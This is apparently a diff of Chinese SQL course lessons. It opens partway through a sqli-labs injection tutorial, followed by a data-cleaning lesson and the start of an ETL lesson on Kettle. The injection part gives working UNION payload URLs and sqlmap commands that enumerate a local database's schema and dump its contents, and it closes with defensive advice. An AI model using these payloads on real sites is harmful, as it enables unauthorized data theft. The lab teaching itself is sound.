|
||||
|
||||
我们对这个错误进行分析,首先`''1'' LIMIT 0,1'`这个语句,我们去掉最外层的单引号,得到`'1'' LIMIT 0,1`,因为我们输入的参数是`1'`,继续去掉`1'`,得到`'' LIMIT 0,1`。这样我们就能判断出后台的SQL语句,类似于下面这样:
|
||||
|
||||
```
|
||||
$sql="SELECT ... FROM ... WHERE id='$id' LIMIT 0,1";
|
||||
|
||||
```
|
||||
|
||||
两处省略号的地方分别代表SELECT语句中的字段名和数据表名称。
|
||||
|
||||
### 判断查询语句的字段数
|
||||
|
||||
现在我们已经对后台的SQL查询已经有了大致的判断,它是通过字符串拼接完成的SQL查询。现在我们再来判断下这个查询语句中的字段个数,通常可以在输入的查询内容后面加上 ORDER BY X,这里X是我们估计的字段个数。如果X数值大于SELECT查询的字段数,则会报错。根据这个原理,我们可以尝试通过不同的X来判断SELECT查询的字段个数,这里我们通过下面两个URL可以判断出来,SELECT查询的字段数为3个:
|
||||
|
||||
报错:
|
||||
|
||||
```
|
||||
http://localhost/sqli-labs-master/Less-1/?id=1' order by 4 --+
|
||||
|
||||
```
|
||||
|
||||
正确:
|
||||
|
||||
```
|
||||
http://localhost/sqli-labs-master/Less-1/?id=1' order by 3 --+
|
||||
|
||||
```
|
||||
|
||||
### 获取当前数据库和用户信息
|
||||
|
||||
下面我们通过SQL注入来获取想要的信息,比如想要获取当前数据库和用户信息。
|
||||
|
||||
这里我们使用UNION操作符。在MySQL中,UNION操作符前后两个SELECT语句的查询结构必须一致。刚才我们已经通过实验,判断出查询语句的字段个数为3,因此在构造UNION后面的查询语句时也需要查询3个字段。这里我们可以使用:`SELECT 1,database(),user()`,也就是使用默认值1来作为第一个字段,整个URL为:`http://localhost/sqli-labs-master/Less-1/?id=' union select 1,database(),user() --+`。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/a1/cd/a186b5758d80983b4d34818169b719cd.png" alt=""><br>
|
||||
页面中显示的`security`即为当前的数据库名称,`root@localhost`为当前的用户信息。
|
||||
|
||||
### 获取MySQL中的所有数据库名称
|
||||
|
||||
我们还想知道当前MySQL中所有的数据库名称都有哪些,数据库名称数量肯定会大于1,因此这里我们需要使用`GROUP_CONCAT`函数,这个函数可以将`GROUP BY`产生的同一个分组中的值连接起来,并以字符串形式返回。
|
||||
|
||||
具体使用如下:
|
||||
|
||||
```
|
||||
http://localhost/sqli-labs-master/Less-1/?id=' union select 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)--+
|
||||
|
||||
```
|
||||
|
||||
这样我们就可以把多个数据库名称拼接在一起,作为字段3返回给页面。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/7e/a7/7e1aa81c623e28c87666cfdd290462a7.png" alt=""><br>
|
||||
你能看到这里我使用到了MySQL中的`information_schema`数据库,这个数据库是MySQL自带的数据库,用来存储数据库的基本信息,比如数据库名称、数据表名称、列的数据类型和访问权限等。我们可以通过访问`information_schema`数据库,获得更多数据库的信息。
|
||||
|
||||
### 查询wucai数据库中所有数据表
|
||||
|
||||
在上面的实验中,我们已经得到了MySQL中所有的数据库名称,这里我们能看到wucai这个数据库。如果我们想要看wucai这个数据库中都有哪些数据表,可以使用:
|
||||
|
||||
```
|
||||
http://localhost/sqli-labs-master/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='wucai') --+
|
||||
|
||||
```
|
||||
|
||||
这里我们同样将数据表名称使用GROUP_CONCAT函数拼接起来,作为字段3进行返回。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/7e/a7/7e1aa81c623e28c87666cfdd290462a7.png" alt="">
|
||||
|
||||
### 查询heros数据表中所有字段名称
|
||||
|
||||
在上面的实验中,我们从wucai数据库中找到了熟悉的数据表heros,现在就来通过information_schema来查询下heros数据表都有哪些字段,使用下面的命令即可:
|
||||
|
||||
```
|
||||
http://localhost/sqli-labs-master/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='heros') --+
|
||||
|
||||
```
|
||||
|
||||
这里会将字段使用GROUP_CONCAT函数进行拼接,并将结果作为字段3进行返回,返回的结果如下所示:
|
||||
|
||||
```
|
||||
attack_growth,attack_max,attack_range,attack_speed_max,attack_start,birthdate,defense_growth,defense_max,defense_start,hp_5s_growth,hp_5s_max,hp_5s_start,hp_growth,hp_max,hp_start,id,mp_5s_growth,mp_5s_max,mp_5s_start,mp_growth,mp_max,mp_start,name,role_assist,role_main
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/f3/bf/f30c7a68fba4fd8eff3ea8370aca00bf.png" alt="">
|
||||
|
||||
## 使用SQLmap工具进行SQL注入检测
|
||||
|
||||
经过上面的实验你能体会到,如果我们编写的代码存在着SQL注入的漏洞,后果还是很可怕的。通过访问`information_schema`就可以将数据库的信息暴露出来。
|
||||
|
||||
了解到如何完成注入SQL后,我们再来了解下SQL注入的检测工具,它可以帮我们自动化完成SQL注入的过程,这里我们使用的是SQLmap工具。
|
||||
|
||||
下面我们使用SQLmap再模拟一遍刚才人工SQL注入的步骤。
|
||||
|
||||
### 获取当前数据库和用户信息
|
||||
|
||||
我们使用`sqlmap -u`来指定注入测试的URL,使用`--current-db`来获取当前的数据库名称,使用`--current-user`获取当前的用户信息,具体命令如下:
|
||||
|
||||
```
|
||||
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --current-db --current-user
|
||||
|
||||
```
|
||||
|
||||
然后你能看到SQLmap帮我们获取了相应的结果:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/42/05/42626ab164f9935e0c22ced9fa5f8105.png" alt="">
|
||||
|
||||
### 获取MySQL中的所有数据库名称
|
||||
|
||||
我们可以使用`--dbs`来获取DBMS中所有的数据库名称,这里我们使用`--threads`参数来指定SQLmap最大并发数,设置为5,通常该参数不要超过10,具体命令为下面这样:
|
||||
|
||||
```
|
||||
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 --dbs
|
||||
|
||||
```
|
||||
|
||||
同样SQLmap帮我们获取了MySQL中存在的8个数据库名称:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/b9/53/b9f9b624e863cd507c1cb1c4b1fc1853.png" alt="">
|
||||
|
||||
### 查询wucai数据库中所有数据表
|
||||
|
||||
当我们知道DBMS中存在的某个数据库名称时,可以使用-D参数对数据库进行指定,然后使用`--tables`参数显示出所有的数据表名称。比如我们想要查看wucai数据库中都有哪些数据表,使用:
|
||||
|
||||
```
|
||||
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 -D wucai --tables
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/11/16/119174ae050e5a27e70ebc5537d7b116.png" alt="">
|
||||
|
||||
### 查询heros数据表中所有字段名称
|
||||
|
||||
我们也可以对指定的数据表,比如heros表进行所有字段名称的查询,使用`-D`指定数据库名称,`-T`指定数据表名称,`--columns`对所有字段名称进行查询,命令如下:
|
||||
|
||||
```
|
||||
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 -D wucai -T heros --columns
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/68/6d/681d394e31a6ac44ac85f2349282886d.png" alt="">
|
||||
|
||||
### 查询heros数据表中的英雄信息
|
||||
|
||||
当我们了解了数据表中的字段之后,就可以对指定字段进行查询,使用`-C`参数进行指定。比如我们想要查询heros数据表中的`id`、`name`和`hp_max`字段的取值,这里我们不采用多线程的方式,具体命令如下:
|
||||
|
||||
```
|
||||
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D wucai -T heros -C id,name,hp_max --dump
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/ce/33/ced56f2e12f6c1afccadac6be231a533.png" alt=""><br>
|
||||
完整的结果一共包括69个英雄信息都显示出来了,这里我只截取了部分的英雄结果。
|
||||
|
||||
## 总结
|
||||
|
||||
在今天的内容中,我使用了sqli-labs注入平台作为实验数据,使用了SQLmap工具自动完成SQL注入。SQL注入的方法还有很多,我们今天讲解的只是其中一个方式。你如果对SQL注入感兴趣,也可以对sqli-labs中其他例子进行学习,了解更多SQL注入的方法。
|
||||
|
||||
在这个过程中,最主要的是理解SQL注入的原理。在日常工作中,我们需要对用户提交的内容进行验证,以防止SQL注入。当然很多时候我们都在使用编程框架,这些框架已经极大地降低了SQL注入的风险,但是只要有SQL拼接的地方,这种风险就可能存在。
|
||||
|
||||
总之,代码规范性对于Web安全来说非常重要,尽量不要采用直接拼接的方式进行查询。同时在Web上线之后,还需要将生产环境中的错误提示信息关闭,以减少被SQL注入的风险。此外我们也可以采用第三方的工具,比如SQLmap来对Web应用进行检测,以增强Web安全性。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/f5/01/f54cad8278f70197ca2fc268ce2d1901.png" alt=""><br>
|
||||
你不妨思考下,为什么开发人员的代码规范对于Web安全来说非常重要?以及都有哪些方式可以防止SQL注入呢?
|
||||
|
||||
欢迎你在评论区写下你的思考,也欢迎把这篇文章分享给你的朋友或者同事,一起交流一下。
|
||||
|
||||
|
||||
254
极客时间专栏/geek/SQL必知必会/第四章:SQL项目实战/45丨数据清洗:如何使用SQL对数据进行清洗?.md
Normal file
254
极客时间专栏/geek/SQL必知必会/第四章:SQL项目实战/45丨数据清洗:如何使用SQL对数据进行清洗?.md
Normal file
@@ -0,0 +1,254 @@
|
||||
<audio id="audio" title="45丨数据清洗:如何使用SQL对数据进行清洗?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/79/66/7949c73f26a0f4f565edf0a223f47166.mp3"></audio>
|
||||
|
||||
SQL可以帮我们进行数据处理,总的来说可以分成OLTP和OLAP两种方式。
|
||||
|
||||
OLTP称之为联机事务处理,我们之前讲解的对数据进行增删改查,SQL查询优化,事务处理等就属于OLTP的范畴。它对实时性要求高,需要将用户的数据有效地存储到数据库中,同时有时候针对互联网应用的需求,我们还需要设置数据库的主从架构保证数据库的高并发和高可用性。
|
||||
|
||||
OLAP称之为联机分析处理,它是对已经存储在数据库中的数据进行分析,帮我们得出报表,指导业务。它对数据的实时性要求不高,但数据量往往很大,存储在数据库(数据仓库)中的数据可能还存在数据质量的问题,比如数据重复、数据中有缺失值,或者单位不统一等,因此在进行数据分析之前,首要任务就是对收集的数据进行清洗,从而保证数据质量。
|
||||
|
||||
对于数据分析工作来说,好的数据质量才是至关重要的,它决定了后期数据分析和挖掘的结果上限。数据挖掘模型选择得再好,也只能最大化地将数据特征挖掘出来。
|
||||
|
||||
高质量的数据清洗,才有高质量的数据。今天我们就来看下,如何用SQL对数据进行清洗。
|
||||
|
||||
1. 想要进行数据清洗有怎样的准则呢?
|
||||
1. 如何使用SQL对数据进行清洗?
|
||||
1. 如何对清洗之后的数据进行可视化?
|
||||
|
||||
## 数据清洗的准则
|
||||
|
||||
我在《数据分析实战45讲》里专门讲到过数据清洗的原则,这里为了方便你理解,我用一个数据集实例讲一遍。
|
||||
|
||||
一般而言,数据集或多或少地会存在数据质量问题。这里我们使用泰坦尼克号乘客生存预测数据集,你可以从[GitHub](https://www.kaggle.com/c/titanic/data)上下载这个数据集。
|
||||
|
||||
数据集格式为csv,一共有两种文件:train.csv是训练数据集,包含特征信息和存活与否的标签;test.csv是测试数据集,只包含特征信息。
|
||||
|
||||
数据集中包括了以下字段,具体的含义如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/e7/e0/e717facd7cd53e7e2cfb714937347fe0.png" alt=""><br>
|
||||
训练集给出了891名乘客幸存与否的结果,以及相关的乘客信息。通过训练集,我们可以对数据进行建模形成一个分类器,从而对测试集中的乘客生存情况进行预测。不过今天我们并不讲解数据分析的模型,而是来看下在数据分析之前,如何对数据进行清洗。
|
||||
|
||||
首先,我们可以通过Navicat将CSV文件导入到MySQL数据库中,然后浏览下数据集中的前几行,可以发现数据中存在缺失值的情况还是很明显的。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/54/77/54b1d91f186945bcbb7f3a5df3575e77.png" alt=""><br>
|
||||
数据存在数据缺失值是非常常见的情况,此外我们还需要考虑数据集中某个字段是否存在单位标识不统一,数值是否合法,以及数据是否唯一等情况。要考虑的情况非常多,这里我将数据清洗中需要考虑的规则总结为4个关键点,统一起来称之为“完全合一”准则,你可以[点这里](https://time.geekbang.org/column/article/76307)看一下。
|
||||
|
||||
“完全合一”是个通用的准则,针对具体的数据集存在的问题,我们还需要对症下药,采取适合的解决办法,甚至为了后续分析方便,有时我们还需要将字符类型的字段替换成数值类型,比如我们想做一个Steam游戏用户的数据分析,统计数据存储在两张表上,一个是user_game数据表,记录了用户购买的各种Steam游戏,其中数据表中的game_title字段表示玩家购买的游戏名称,它们都采用英文字符的方式。另一个是game数据表,记录了游戏的id、游戏名称等。因为这两张表存在关联关系,实际上在user_game数据表中的game_title对应了game数据表中的name,这里我们就可以用game数据表中的id替换掉原有的game_title。替换之后,我们在进行数据清洗和质量评估的时候也会更清晰,比如如果还存在某个game_title没有被替换的情况,就证明这款游戏在game数据表中缺少记录。
|
||||
|
||||
## 使用SQL对预测数据集进行清洗
|
||||
|
||||
了解了数据清洗的原则之后,下面我们就用SQL对泰坦尼克号数据集中的训练集进行数据清洗,也就是train.csv文件。我们先将这个文件导入到titanic_train数据表中:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/5d/b5/5ddd7c23f942cc2f90ed9621cb751eb5.png" alt="">
|
||||
|
||||
### 检查完整性
|
||||
|
||||
在完整性这里,我们需要重点检查字段数值是否存在空值,在此之前,我们需要先统计每个字段空值的个数。在SQL中,我们可以分别统计每个字段的空值个数,比如针对Age字段进行空值个数的统计,使用下面的命令即可:
|
||||
|
||||
```
|
||||
SELECT COUNT(*) as num FROM titanic_train WHERE Age IS NULL
|
||||
|
||||
```
|
||||
|
||||
运行结果为177。
|
||||
|
||||
当然我们也可以同时对多个字段的非空值进行统计:
|
||||
|
||||
```
|
||||
SELECT
|
||||
SUM((CASE WHEN Age IS NULL THEN 1 ELSE 0 END)) AS age_null_num,
|
||||
SUM((CASE WHEN Cabin IS NULL THEN 1 ELSE 0 END)) AS cabin_null_num
|
||||
FROM titanic_train
|
||||
|
||||
```
|
||||
|
||||
运行结果:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/42/bb/42d6d85c533707c29bda5a7cf95ad6bb.png" alt=""><br>
|
||||
不过这种方式适用于字段个数较少的情况,如果一个数据表存在几十个,甚至更多的字段,那么采用这种方式既麻烦又容易出错。这时我们可以采用存储过程的方式,用程序来进行字段的空值检查,代码如下:
|
||||
|
||||
```
|
||||
CREATE PROCEDURE `check_column_null_num`(IN schema_name VARCHAR(100), IN table_name2 VARCHAR(100))
|
||||
BEGIN
|
||||
-- 数据表schema_name中的列名称
|
||||
DECLARE temp_column VARCHAR(100);
|
||||
-- 创建结束标志变量
|
||||
DECLARE done INT DEFAULT false;
|
||||
-- 定义游标来操作每一个COLUMN_NAME
|
||||
DECLARE cursor_column CURSOR FOR
|
||||
SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE table_schema = schema_name AND table_name = table_name2;
|
||||
-- 指定游标循环结束时的返回值
|
||||
DECLARE CONTINUE HANDLER FOR NOT FOUND SET done = true;
|
||||
-- 打开游标
|
||||
OPEN cursor_column;
|
||||
read_loop:LOOP
|
||||
FETCH cursor_column INTO temp_column;
|
||||
-- 判断游标的循环是否结束
|
||||
IF done THEN
|
||||
LEAVE read_loop;
|
||||
END IF;
|
||||
-- 这里需要设置具体的SQL语句temp_query
|
||||
SET @temp_query=CONCAT('SELECT COUNT(*) as ', temp_column, '_null_num FROM ', table_name2, ' WHERE ', temp_column, ' IS NULL');
|
||||
-- 执行SQL语句
|
||||
PREPARE stmt FROM @temp_query;
|
||||
EXECUTE stmt;
|
||||
END LOOP;
|
||||
-- 关闭游标
|
||||
CLOSE cursor_column;
|
||||
END
|
||||
|
||||
```
|
||||
|
||||
我来说下这个存储过程的作用,首先我定义了两个输入的参数schema_name和table_name2,用来接收想要检查的数据库的名称以及数据表名。
|
||||
|
||||
然后使用游标来操作读取出来的column_name,赋值给变量temp_column。对于列名,我们需要检查它是否为空,但是这个列名在MySQL中是动态的,我们无法使用@temp_column 来表示列名,对其进行判断,在这里我们需要使用SQL拼接的方式,这里我设置了@temp_query表示想要进行查询的SQL语句,然后设置COUNT(*)的别名为动态别名,也就是temp_column加上_null_num,同样在WHERE条件判断中,我们使用temp_column进行动态列名的输出,以此来判断这个列数值是否为空。
|
||||
|
||||
然后我们执行这个SQL语句,提取相应的结果。
|
||||
|
||||
```
|
||||
call check_column_null_num('wucai', 'titanic_train');
|
||||
|
||||
```
|
||||
|
||||
运行结果如下:
|
||||
|
||||
```
|
||||
Age_null_num:177
|
||||
Cabin_null_num:687
|
||||
Embarked_null_num:2
|
||||
Fare_null_num:0
|
||||
Name_null_num:0
|
||||
Parch_null_num:0
|
||||
PassengerId_null_num:0
|
||||
Pclass_null_num:0
|
||||
Sex_null_num:0
|
||||
SibSp_null_num:0
|
||||
Survived_null_num:0
|
||||
Ticket_null_num:0
|
||||
|
||||
```
|
||||
|
||||
为了浏览方便我调整了运行结果的格式,你能看到在titanic_train数据表中,有3个字段是存在空值的,其中Cabin空值数最多为687个,Age字段空值个数177个,Embarked空值个数2个。
|
||||
|
||||
既然存在空值的情况,我们就需要对它进行处理。针对缺失值,我们有3种处理方式。
|
||||
|
||||
1. 删除:删除数据缺失的记录;
|
||||
1. 均值:使用当前列的均值;
|
||||
1. 高频:使用当前列出现频率最高的数据。
|
||||
|
||||
对于Age字段,这里我们采用均值的方式进行填充,但如果直接使用SQL语句可能会存在问题,比如下面这样。
|
||||
|
||||
```
|
||||
UPDATE titanic_train SET age = (SELECT AVG(age) FROM titanic_train) WHERE age IS NULL
|
||||
|
||||
```
|
||||
|
||||
这时会报错:
|
||||
|
||||
```
|
||||
1093 - You can't specify target table 'titanic_train' for update in FROM clause
|
||||
|
||||
```
|
||||
|
||||
也就是说同一条SQL语句不能先查询出来部分内容,再同时对当前表做修改。
|
||||
|
||||
这种情况下,最简单的方式就是复制一个临时表titanic_train2,数据和titanic_train完全一样,然后再执行下面这条语句:
|
||||
|
||||
```
|
||||
UPDATE titanic_train SET age = (SELECT ROUND(AVG(age),1) FROM titanic_train2) WHERE age IS NULL
|
||||
|
||||
```
|
||||
|
||||
这里使用了ROUND函数,对age平均值AVG(age)进行四舍五入,只保留小数点后一位。
|
||||
|
||||
针对Cabin这个字段,我们了解到这个字段代表用户的船舱位置,我们先来看下Cabin字段的数值分布情况:
|
||||
|
||||
```
|
||||
SELECT COUNT(cabin), COUNT(DISTINCT(cabin)) FROM titanic_train
|
||||
|
||||
```
|
||||
|
||||
运行结果:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/37/13/379348df1bdd00235646df78ebc54f13.png" alt=""><br>
|
||||
从结果中能看出Cabin字段的数值分布很广,而且根据常识,我们也可以知道船舱位置每个人的差异会很大,这里既不能删除掉记录航,又不能采用均值或者高频的方式填充空值,实际上这些空值即无法填充,也无法对后续分析结果产生影响,因此我们可以不处理这些空值,保留即可。
|
||||
|
||||
然后我们来看下Embarked字段,这里有2个空值,我们可以采用该字段中高频值作为填充,首先我们先了解字段的分布情况使用:
|
||||
|
||||
```
|
||||
SELECT COUNT(*), embarked FROM titanic_train GROUP BY embarked
|
||||
|
||||
```
|
||||
|
||||
运行结果:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/0e/cc/0efcdf6248e65e482502dbe313c6efcc.png" alt=""><br>
|
||||
我们可以直接用S来对缺失值进行填充:
|
||||
|
||||
```
|
||||
UPDATE titanic_train SET embarked = 'S' WHERE embarked IS NULL
|
||||
|
||||
```
|
||||
|
||||
至此,对于titanic_train这张数据表中的缺失值我们就处理完了。
|
||||
|
||||
### 检查全面性
|
||||
|
||||
在这个过程中,我们需要观察每一列的数值情况,同时查看每个字段的类型。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/46/77/46d0be3acf6bf3526284cf4e56202277.png" alt=""><br>
|
||||
因为数据是直接从CSV文件中导进来的,所以每个字段默认都是VARCHAR(255)类型,但很明显PassengerID、Survived、Pclass和Sibsp应该设置为INT类型,Age和Fare应该设置为DECIMAL类型,这样更方便后续的操作。使用下面的SQL命令即可:
|
||||
|
||||
```
|
||||
ALTER TABLE titanic_train CHANGE PassengerId PassengerId INT(11) NOT NULL PRIMARY KEY;
|
||||
ALTER TABLE titanic_train CHANGE Survived Survived INT(11) NOT NULL;
|
||||
ALTER TABLE titanic_train CHANGE Pclass Pclass INT(11) NOT NULL;
|
||||
ALTER TABLE titanic_train CHANGE Sibsp Sibsp INT(11) NOT NULL;
|
||||
ALTER TABLE titanic_train CHANGE Age Age DECIMAL(5,2) NOT NULL;
|
||||
ALTER TABLE titanic_train CHANGE Fare Fare DECIMAL(7,4) NOT NULL;
|
||||
|
||||
```
|
||||
|
||||
然后我们将其余的字段(除了Cabin)都进行NOT NULL,这样在后续进行数据插入或其他操作的时候,即使发现数据异常,也可以对字段进行约束规范。
|
||||
|
||||
在全面性这个检查阶段里,除了字段类型定义需要修改以外,我们没有发现其他问题。
|
||||
|
||||
**然后我们来检查下合法性及唯一性。**合法性就是要检查数据内容、大小等是否合法,这里不存在数据合法性问题。
|
||||
|
||||
针对数据是否存在重复的情况,我们刚才对PassengerId 字段类型进行更新的时候设置为了主键,并没有发现异常,证明数据是没有重复的。
|
||||
|
||||
## 对清洗之后的数据进行可视化
|
||||
|
||||
我们之前讲到过如何通过Excel来导入MySQL中的数据,以及如何使用Excel来进行数据透视表和数据透视图的呈现。
|
||||
|
||||
这里我们使用MySQL For Excel插件来进行操作,在操作之前有两个工具需要安装。
|
||||
|
||||
首先是mysql-for-excel,点击[这里](https://dev.mysql.com/downloads/windows/excel/)进行下载;然后是mysql-connector-odbc,点击[这里](https://dev.mysql.com/downloads/connector/odbc/)进行下载。
|
||||
|
||||
安装好之后,我们新建一个空的excel文件,打开这个文件,在数据选项中可以找到“MySQL for Excel”按钮,点击进入,然后输入密码连接MySQL数据库。
|
||||
|
||||
然后选择我们的数据库以及数据表名称,在下面可以找到Import MySQL Data按钮,选中后将数据表导入到Excel文件中。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/69/f0/69aa90c22d9ecf107271e1dee38675f0.png" alt=""><br>
|
||||
在“插入”选项中找到“数据透视图”,这里我们选中Survived、Sex和Embarked字段,然后将Survive字段放到图例(系列)栏中,将Sex字段放到求和值栏中,可以看到呈现出如下的数据透视表:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/03/74/03b27cf20f5e3dc313014c1018121174.png" alt=""><br>
|
||||
从这个透视表中你可以清晰地了解到用户生存情况(Survived)与Embarked字段的关系,当然你也可以通过数据透视图进行其他字段之间关系的探索。
|
||||
|
||||
为了让你能更好地理解操作的过程,我录制了一段操作视频。
|
||||
|
||||
<video poster="https://media001.geekbang.org/db8b935832394abeab8c5226fc5a8969/snapshots/5df1fee85a4c4c1a9211393dc35ea39e-00003.jpg" preload="none" controls=""><source src="https://media001.geekbang.org/customerTrans/fe4a99b62946f2c31c2095c167b26f9c/1e1fd347-16d4e5518af-0000-0000-01d-dbacd.mp4" type="video/mp4"><source src="https://media001.geekbang.org/db8b935832394abeab8c5226fc5a8969/1fa5200c814341e19c6d602700f2ff7f-d97a045b4b0d8266650e6248565634b0-sd.m3u8" type="application/x-mpegURL"><source src="https://media001.geekbang.org/db8b935832394abeab8c5226fc5a8969/1fa5200c814341e19c6d602700f2ff7f-fdf87ccb8238a9b89d3ce3d8f46875f9-hd.m3u8" type="application/x-mpegURL"></video>
|
||||
|
||||
## 总结
|
||||
|
||||
在数据清洗过程中,你能看到通过SQL来进行数据概览的查询还是很方便的,但是使用SQL做数据清洗,会有些繁琐,这时你可以采用存储过程对数据进行逐一处理,当然你也可以使用后端语言,比如使用Python来做具体的数据清洗。
|
||||
|
||||
在进行数据探索的过程中,我们可能也会使用到数据可视化,如果不采用Python进行可视化,你也可以选择使用Excel自带的数据透视图来进行可视化的呈现,它会让你对数据有个更直观的认识。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/d8/0e/d8361b069fe64e5e826ba58965ba000e.png" alt=""><br>
|
||||
今天讲解的数据清洗的实例比较简单,实际上数据清洗是个反复的过程,有时候我们需要几天时间才能把数据完整清洗好。你在工作中,会使用哪些工具进行数据清洗呢?
|
||||
|
||||
另外,数据缺失问题在数据清洗中非常常见,我今天列举了三种填充数据缺失的方式,分别是删除、均值和高频的方式。实际上缺失值的处理方式不局限于这三种,你可以思考下,如果数据量非常大,某个字段的取值分布也很广,那么对这个字段中的缺失值该采用哪种方式来进行数据填充呢?
|
||||
|
||||
欢迎你在评论区写下你的思考,也欢迎把这篇文章分享给你的朋友或者同事,一起交流一下。
|
||||
|
||||
|
||||
187
极客时间专栏/geek/SQL必知必会/第四章:SQL项目实战/46丨数据集成:如何对各种数据库进行集成和转换?.md
Normal file
187
极客时间专栏/geek/SQL必知必会/第四章:SQL项目实战/46丨数据集成:如何对各种数据库进行集成和转换?.md
Normal file
@@ -0,0 +1,187 @@
|
||||
<audio id="audio" title="46丨数据集成:如何对各种数据库进行集成和转换?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/95/fe/95d30b17540e66799bdb3379f9a205fe.mp3"></audio>
|
||||
|
||||
我们的数据可能分散在不同的数据源中,如果想要对这些数据分析,就需要先对这些数据进行集成。同时因为不同的来源,这些数据可能会存在各种问题,比如这些数据源采用了不同的DBMS,数据之间存在冗余的情况,比如某一条数据在不同的数据源中都有记录,那么在数据集成中我们只保留其中的一条就可以了。除此以外,这些不同的数据源还可能字段标识不统一,再或者我们需要将数据转换成我们想要的格式要求进行输出。
|
||||
|
||||
数据集成是数据分析之前非常重要的工作,它将不同来源、不同规范以及不同质量的数据进行统一收集和整理,为后续数据分析提供统一的数据源。
|
||||
|
||||
好了,关于这部分内容,今天我们一起来学习下:
|
||||
|
||||
1. 我们将数据从OLTP系统中转换加载到OLAP数据仓库中,这中间重要的步骤就是ETL。那什么是ETL呢?
|
||||
1. 认识Kettle工具。在Kettle中有两个重要的脚本,分别是Transformation转换和Job作业,它们分别代表什么?
|
||||
1. 完成两个实例项目。通过使用Kettle完成MySQL数据表的数据同步,以及根据我们的需求将银行客户转账的记录导出到目标文件中。
|
||||
|
||||
## 什么是ETL
|
||||
|
||||
在使用数据的时候,根据需求,我们可以分成OLTP和OLAP两种场景。OLTP更注重数据的实时性,而OLAP更注重数据的分析能力,对时效性要求不高。在这个过程中,我们的数据源来自于OLTP系统,而最终得到的数据仓库则应用在OLAP系统中,中间的转换过程就是ETL,如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/7d/42/7d8ee4be2192b2c87d3e997e184c4542.jpg" alt=""><br>
|
||||
ETL是英文Extract、Transform和Load的缩写,也就是将数据从不同的数据源进行抽取,然后通过交互转换,最终加载到目的地的过程。
|
||||
|
||||
在Extract数据抽取这个过程中,需要做大量的工作,我们需要了解企业分散在不同地方的数据源都采用了哪种DBMS,还需要了解这些数据源存放的数据结构等,是结构化数据,还是非结构化数据。在抽取中,我们也可以采用全量抽取和增量抽取两种方式。相比于全量抽取,增量抽取使用得更为广泛,它可以帮我们动态捕捉数据源的数据变化,并进行同步更新。
|
||||
|
||||
在Transform数据转换的过程中,我们可以使用一些数据转换的组件,比如说数据字段的映射、数据清洗、数据验证和数据过滤等,这些模块可以像是在流水线上进行作业一样,帮我们完成各种数据转换的需求,从而将不同质量,不同规范的数据进行统一。
|
||||
|
||||
在Load数据加载的过程中,我们可以将转换之后的数据加载到目的地,如果目标是RDBMS,我们可以直接通过SQL进行加载,或者使用批量加载的方式进行加载。
|
||||
|
||||
## 认识Kettle工具
|
||||
|
||||
Kettle可以帮助我们完成ETL工作,它的设计师希望它能像水壶一样,可以从将不同的数据通过Kettle水壶按照指定的格式流出来。
|
||||
|
||||
相比于其他商业软件来说,Kettle是Java开发的免费开源工具,可以运行在多个操作系统中。因此在使用之前,你需要安装Java运行环境(JRE)。Kettle的[下载地址](https://community.hitachivantara.com/docs/DOC-1009855)在这里。
|
||||
|
||||
在Kettle中有3个重要的组件:
|
||||
|
||||
1. Spoon(勺子),它是一个图形界面,帮我们启动作业和转换设计。
|
||||
1. Pan(锅),通过命令行方式完成转换执行(Transformation)。
|
||||
1. Kitchen(厨房),通过命令行方式完成作业执行(Job)。
|
||||
|
||||
通过Spoon,我们可以采用可视化的方式对Kettle中的两种脚本进行操作,这两种脚本分别是Transformation(转换)和 Job(作业)。
|
||||
|
||||
Transformation(转换)对应的是.ktr文件,它相当于一个容器,对数据操作进行了定义。数据操作就是数据从输入到输出的一个过程,Tranformation可以帮我们完成数据的基础转换。
|
||||
|
||||
Job(作业)对应的是.kjb文件,Job帮我们完成整个工作流的控制。相比于Transformation来说,它是个更大的容器,负责将Transformation组织起来完成某项作业。
|
||||
|
||||
你可以把Transformation理解成比Job粒度更小的容器。在通常的工作中,我们会把任务分解成为不同的Job,然后再把Job分解成多个Transformation。
|
||||
|
||||
## Kettle使用实例
|
||||
|
||||
我们刚才对Kettle有了大致的了解,Kettle工具包含的内容非常多,下面我们通过两个实例更深入地了解一下。
|
||||
|
||||
### 实例1:将test1数据库中的heros数据表同步到test2数据库中
|
||||
|
||||
**数据准备:**
|
||||
|
||||
